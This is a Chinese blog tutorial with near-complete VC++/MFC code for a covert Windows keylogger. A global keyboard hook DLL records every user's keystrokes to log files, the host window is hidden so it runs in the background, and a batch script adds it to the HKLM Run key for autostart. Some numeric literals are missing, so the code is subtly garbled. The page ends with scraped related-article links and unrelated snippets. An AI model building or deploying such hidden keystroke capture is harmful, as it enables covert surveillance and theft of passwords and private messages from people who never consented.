VC++开发Windows系统全局钩子
本文的大部分内容属于对一篇网文的实践与练习,同时参考的还有一本书,在此向网文与书的作者表示敬意。
这个程序是一个windows系统键盘监控程序,随着开机自动启动,可以监控系统中各用户的键盘,并将按键记录写在指定的log文件里。
程序分为两个部分:全局钩子DLL和一个隐藏的单文档应用程序。
- 全局钩子DLL
创建基于“MFC AppWizard(dll)”的“扩展MFC DLL(Extension MFC DLL)”类型工程KeyBoardHook
在自动生成的源文件KeyBoardHook.cpp中,
定义全局变量:
- #pragma data_seg("publicdata")
- HHOOK hhook = NULL;
- HINSTANCE pinstance = NULL;
- #pragma data_seg()
在DLL入口函数中,添加获取钩子实例句柄的代码:
- extern "C" int APIENTRY
- DllMain(HINSTANCE hInstance, DWORD dwReason, LPVOID lpReserved)
- {
- // Remove this if you use lpReserved
- UNREFERENCED_PARAMETER(lpReserved);
- if (dwReason == DLL_PROCESS_ATTACH)
- {
- TRACE0("KEYBOARDHOOK.DLL Initializing!\n");
- // Extension DLL one-time initialization
- if (!AfxInitExtensionModule(KeyBoardHookDLL, hInstance))
- return ;
- new CDynLinkLibrary(KeyBoardHookDLL);
- pinstance = hInstance; //获取钩子实例句柄
- }
- else if (dwReason == DLL_PROCESS_DETACH)
- {
- TRACE0("KEYBOARDHOOK.DLL Terminating!\n");
- // Terminate the library before destructors are called
- AfxTermExtensionModule(KeyBoardHookDLL);
- }
- return ; // ok
- }
全局钩子的具体实现代码:
- //保存日志文件
- extern "C" void SaveLog(char* c)
- {
- //printf("刚才点击的是%c键/n", &c);
- //char buffer[80];
- //wsprintf(buffer, "c的值是%c", c);
- //AfxMessageBox(buffer);
- const int MAX_BUFFER_LEN = ;
- char szBuffer[MAX_BUFFER_LEN];
- DWORD dwNameLen;
- dwNameLen = MAX_BUFFER_LEN;
- GetUserName(szBuffer, &dwNameLen);
- CTime tm=CTime::GetCurrentTime();
- CString name;
- name.Format("c:\\keyboard\\Key_%s_%d_%d.log", szBuffer, tm.GetMonth(),tm.GetDay());
- CFile file;
- if(!file.Open(name,CFile::modeReadWrite))
- {
- file.Open(name,CFile::modeCreate|CFile::modeReadWrite);
- }
- file.SeekToEnd();
- file.Write(c,);
- file.Close();
- }
- //键盘钩子回调函数
- extern "C" LRESULT CALLBACK KeyboardPro(int nCode , WPARAM wParam, LPARAM lParam)
- {
- LRESULT Result=CallNextHookEx(hhook,nCode,wParam,lParam);
- //AfxMessageBox("huidiao");
- if(nCode == HC_ACTION){
- if(lParam & 0x80000000){
- char c[];
- c[]=wParam;
- //AfxMessageBox(c);
- SaveLog(c);
- }
- }
- return Result;
- }
- //安装钩子,即创建了钩子WH_KEYBOARD到钩子处理函数KeyboardPro()的链接
- extern "C" bool WINAPI InstallHook()
- {
- // AfxMessageBox("anzhuang");
- hhook = (HHOOK)SetWindowsHookEx( WH_KEYBOARD, KeyboardPro, pinstance, );
- if(hhook != NULL)
- return true;
- else
- return false;
- }
用def文件导出DLL函数,在KeyBoardHook.def中添加:
- EXPORTS
- ; Explicit exports can go here
- InstallHook @ //dll导出函数的名称为InstallHook,序号为1
至此,编译并运行,程序的DLL部分便完成了。
- 负责调用DLL的单文档应用程序
创建一个MFC单文档应用程序工程KeyBoardHookApp,将刚才DLL工程中编译好的KeyBoardHook.dll和KeyBoardHook.lib拷贝到KeyBoardHookApp工程的Debug目录中。
设置连接文件:在 工程->设置->连接 的“对象/库模块 ”中填写KeyBoardHook.lib
在头文件KeyBoardHookApp.h中添加导出函数声明,以满足在此应用中调用DLL中的函数:
- //安装钩子函数
- extern "C" bool WINAPI InstallHook();
在视类KeyBoardHookAppView.cpp中重载虚函数OnInitialUpdate(),并添加代码完成对键盘钩子的安装:
具体操作可以利用VC++类向导自动生成代码:ctrl+w建立类向导,然后在class name中选择带...View的视类,选择类本身的Object ID,在Message中选择OnInitialUpdate,双击Member functions添加代码。
- void CKeyBoardHookAppView::OnInitialUpdate()
- {
- CView::OnInitialUpdate();
- // TODO: Add your specialized code here and/or call the base class
- InstallHook();
- }
最后,将本单文档应用程序的窗口进行隐藏,使之成为一个后台监控程序:
在KeyBoardHookApp.cpp的InitInstance()函数中将m_pMainWnd->ShowWindow(SW_SHOW)改为m_pMainWnd->ShowWindow(SW_HIDE)即可。
- 设置本程序随开机自启动
使用bat批处理来制作安装和卸载
- md C:\keyboard
- @reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v KeyboardHook /t REG_SZ /d D:\keyboardhook\KeyBoardHookApp.exe
- @reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v KeyboardHook /f
以管理员身份运行“安装.bat” ,程序在系统重启后生效。日志文件放在C:\keyboard目录下。
参考:
《精通Windows程序设计——基于Visual C++实现》 人民邮电出版社
《利用键盘钩子捕获Windows键盘动作》 http://www.yesky.com/328/1890328.shtml
VC++开发Windows系统全局钩子的更多相关文章
- VC++ 获取windows系统的版本类型
vc中获取windows版本信息,一般是调用GetVersionEx 这个API函数来获取的,这个API需要OSVERSIONINFOEX 这个结构体作为参数,OSVERSIONINFOEX 的对应的 ...
- VC++ 获取Windows系统版本号、CPU名称
转载:https://blog.csdn.net/sunflover454/article/details/51525179 转载:https://blog.csdn.net/magictong/ar ...
- windows 键盘全局钩子
// HookapiTest.cpp : 定义控制台应用程序的入口点. // #include "stdafx.h" #include <Windows.h> #inc ...
- 【旧文章搬运】Windows中全局钩子DLL的加载过程
原文发表于百度空间,2011-03-24========================================================================== 看雪上别人 ...
- 安全之路 —— 使用Windows全局钩子打造键盘记录器
简介 键盘记录功能一直是木马等恶意软件窥探用户隐私的标配,那么这个功能是怎么实现的呢?在Ring3级下,微软就为我们内置了一个Hook窗口消息的API,也就是SetWindowsHookEx函数,这个 ...
- Windows系统VSCode、VBox搭建C/C++开发环境
好几年没有写过C/C++代码,基本上都忘光了,之前是使用VC++6.0写代码的,最近用VSCode成功搭建了C/C++开发环境,这里记录一下搭建过程. 1. 安装VSCode 在官网https://c ...
- 使用Windows全局钩子打造键盘记录器
简介 键盘记录功能一直是木马等恶意软件窥探用户隐私的标配,那么这个功能是怎么实现的呢?在Ring3级下,微软就为我们内置了一个Hook窗口消息的API,也就是SetWindowsHookEx函数,这个 ...
- WSL2:在Windows系统中开发Linux程序的又一神器
作 者:道哥,10+年的嵌入式开发老兵. 公众号:[IOT物联网小镇],专注于:C/C++.Linux操作系统.应用程序设计.物联网.单片机和嵌入式开发等领域. 公众号回复[书籍],获取 Linux. ...
- 2013-6-2 [转载自CSDN]如何入门Windows系统下驱动开发
[序言]很多人都对驱动开发有兴趣,但往往找不到正确的学习方式.当然这跟驱动开发的本土化资料少有关系.大多学的驱动开发资料都以英文为主,这样让很多驱动初学者很头疼.本人从事驱动开发时间不长也不短,大概 ...
随机推荐
- JS如何获取PHP循环中的ID
JS如何获取PHP循环中的ID kaalrz 二路公交车 结帖率:83.33% 首先抱歉,因为昨天那帖图片几次都不能用,修改到不能再次修改,今天早上回帖又提示没有这个帖,只好重发一次. 如 ...
- Codeforces 710C. Magic Odd Square n阶幻方
C. Magic Odd Square time limit per test:1 second memory limit per test:256 megabytes input:standard ...
- Codeforces C. NP-Hard Problem 搜索
C. NP-Hard Problem time limit per test:2 seconds memory limit per test:256 megabytes input:standard ...
- laravel-excel文档翻译笔记
1.安装 1>composer 安装 "maatwebsite/excel": "~2.1.0" 2>app/config/ap ...
- OSGi 系列(十三)之 Configuration Admin Service
OSGi 系列(十三)之 Configuration Admin Service OSGi 的 CM 就是 Configuration Admin Service,是用于管理 Bundle 属性.并在 ...
- ubuntu and centos各种上网代理设置
1.Ubuntu 一. apt-get 代理设置 由于公司通过代理上网,firefox的代理设置很容易就搞定了,但是通过apt-get安装软件还是不行,于是,查阅了很多资料,最多的方法就是网上流传的三 ...
- Android无线调试_adbWireless
NC的ADB驱动是个很让人头疼的问题,纵使老玩家有时候也是反复装装不上,有时候就算装上了,换一个ROM就又不行了,真是让人扣心扣肺,欲哭无泪,欲罢不能啊...现在好了,有了adbWireless不但可 ...
- Sublime Text webstorm等编译器快速编写HTML/CSS代码的技巧
<!DOCTYPE html> Sublime Text webstorm等编译器快速编写HTML/CSS代码的技巧--summer-rain博客园 xiayuhao 东风夜放花千树. 博 ...
- 2018.10.15 NOIP训练 百事世界杯之旅(期望dp)
传送门 期望题. 其实跟dpdpdp关系并不大. 考虑f[i]f[i]f[i]表示已经凑出了iii个需要的次数. 显然有:f[i]=ni∗f[i]+nn−i∗f[i+1]+1f[i]=\frac {n ...
- 2018.09.02 bzoj1296: [SCOI2009]粉刷匠(dp套dp)
传送门 dp好题. 先推出对于每一行花费k次能最多粉刷的格子数. 然后再推前i行花费k次能最多粉刷的格子数. 代码: #include<bits/stdc++.h> #define N 5 ...